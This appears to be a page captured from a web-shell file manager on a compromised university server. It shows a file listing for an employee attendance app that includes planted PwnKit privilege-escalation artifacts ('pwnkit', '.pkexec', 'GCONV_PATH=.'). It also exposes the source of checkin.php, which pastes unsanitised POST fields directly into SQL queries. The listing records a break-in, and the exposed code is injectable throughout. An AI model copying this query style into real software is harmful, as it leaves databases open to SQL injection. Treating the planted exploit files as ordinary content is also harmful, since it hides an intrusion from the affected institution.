Gecko [ nrupathungauniversityblr.ac.in ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.api.php	3.61 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
api_sendsms.php	1.08 KB	-rw-rw-r--
checkin.php	3.42 KB	-rw-r--r--
checkout.php	3.06 KB	-rw-r--r--
clientDet.php	2.42 KB	-rw-rw-r--
employeelist.php	599 B	-rw-rw-r--
expenses.php	4.93 KB	-rw-rw-r--
getAttendance.php	1.33 KB	-rwxr-xr-x
getAttnStatus.php	1.16 KB	-rw-r--r--
getDept.php	477 B	-rwxr-xr-x
getEmpAttListDetDaily.php	1.41 KB	-rwxr-xr-x
getEmpAttListSummary.php	1.45 KB	-rwxr-xr-x
getEmpListForLeave.php	1.16 KB	-rwxr-xr-x
getMyAttendanceList.php	983 B	-rwxr-xr-x
login.php	2.49 KB	-rwxr-xr-x
notification_disp.php	1.26 KB	-rw-r--r--
push.php	2.37 KB	-rw-rw-r--
pwnkit	10.99 KB	-rwxr-xr-x
saveAbLeave.php	2.22 KB	-rwxr-xr-x
saveAttendace.php	3.18 KB	-rwxr-xr-x
sys_connect.php	702 B	-rwxr-xr-x
taskreminder.php	8.64 KB	-rw-rw-r--
updsalary.php	832 B	-rw-r--r--
workentry.php	9.19 KB	-rw-rw-r--

Code Editor : checkin.php

<?php

include("sys_connect.php");

if(!isset($_POST["emplcode"]) || !isset($_POST["deptcode"]) 
|| !isset($_POST["location"]) || !isset($_POST["distance"]) 
|| $_POST["emplcode"] == "" || $_POST["deptcode"] == ""
|| $_POST["location"] == "" || $_POST["distance"] == "" ){
    echo json_encode(array("msg" => "Invalid Params", "error_code" => -1));
    die();    
}
$emplcode = $_POST["emplcode"];
$deptcode = $_POST["deptcode"];
$attndept = $_POST["deptcode"];
$location = $_POST["location"];
$distance = $_POST["distance"];
$remarks = $_POST["remarks"];

$query = "select femplname, fdeptcode,  femplstat
from masempl where femplcode='{$emplcode}' and femplstat='T'";

$myres = mysqli_query($mycon, $query);
$count = mysqli_num_rows($myres);
if($count <= 0){
    echo json_encode(array("error_code" => -1, 'msg' => "Dear User, App is not enabled.
Contact Admin!" ));
    return;
}

$query = "select d.fdeptname, d.flogitime, d.flogotime,
if(timediff(time(now()), time(d.flogitime))>'00:15:00','PR','PR') as diff
from masdept d
where d.fdeptcode = '{$deptcode}'";
$myres = mysqli_query($mycon, $query);
$userinfo = mysqli_fetch_assoc($myres);

$glogitime = $userinfo['flogitime'];
$diff = $userinfo['diff'];
$glogotime = $userinfo['flogotime'];

$query = "select femplname, fdeptcode 
from masempl where femplcode='{$emplcode}'";

$myres = mysqli_query($mycon, $query);
$deptinfo = mysqli_fetch_assoc($myres);
$deptcode = $deptinfo['fdeptcode'];

$qry = "select fdeptcode, fattndate, femplcode, fattnstat, flogitime,flocation, 
        fdistance, ftype from attenddet where fattndate = date(now())
        and femplcode = '{$emplcode}'
        order by flogitime";
        
$res0 = mysqli_query($mycon, $qry);
$count = mysqli_num_rows($res0);

if($count == 0){
    $qury = "update attendance set flogitime=now(), flogidiff=timediff(time(now()), time('{$glogitime}')),
              fupdttime = now(), fattnstat = 'PR', fdistance='{$distance}', 
              flogiremk = '{$remarks}', fupdtuser = 'APP', flocation='{$location}' where femplcode='{$emplcode}' 
              and fattndate = date(now())";

$res1 = mysqli_query($mycon, $qury);
}

$query = "insert into attenddet(fdeptcode, fattndate, femplcode, 
fattnstat, flogitime,flocation, fdistance, ftype) 
values('{$attndept}', date(now()), '{$emplcode}', 'PR', time(now()), 
'{$location}', '{$distance}', 'I')";
$res = mysqli_query($mycon, $query);

$query = "select * from attendance where fattndate = date(now())
and femplcode = '{$emplcode}'";

$myres = mysqli_query($mycon, $query);
$row = mysqli_fetch_assoc($myres);
$mycnt = mysqli_num_rows($myres);

if($mycnt == 0) {
    
    $query = "insert ignore into attendance(fdeptcode, fattndept, fattndate, femplcode, 
    fattnstat, flogitime, flogidiff, fupdtuser, fupdttime, flocation, fdistance, flogiremk, ftype) 
    values('{$deptcode}','{$attndept}', date(now()), '{$emplcode}', '{$diff}', time(now()), 
    timediff(time(now()), time('{$glogitime}')), 'APP', now(), '{$location}', '{$distance}', 
	'{$remarks}', 'I')";
    
    // var_dump($query);
    // die();
    $res = mysqli_query($mycon, $query);
}
else 
{
    $query = "update attendance set ftype = 'I'
    where fattndate = date(now()) and 
    femplcode = '{$emplcode}'";
    $res = mysqli_query($mycon, $query);
    $res = true;
}

if($res) {
    echo json_encode(array("error_code" => 0, 'msg' => "Updated Successfully." ));
} else {
    echo json_encode(array("error_code" => -1, 'msg' => "Error While Updating" ));
}

${this.title}

Code Editor : checkin.php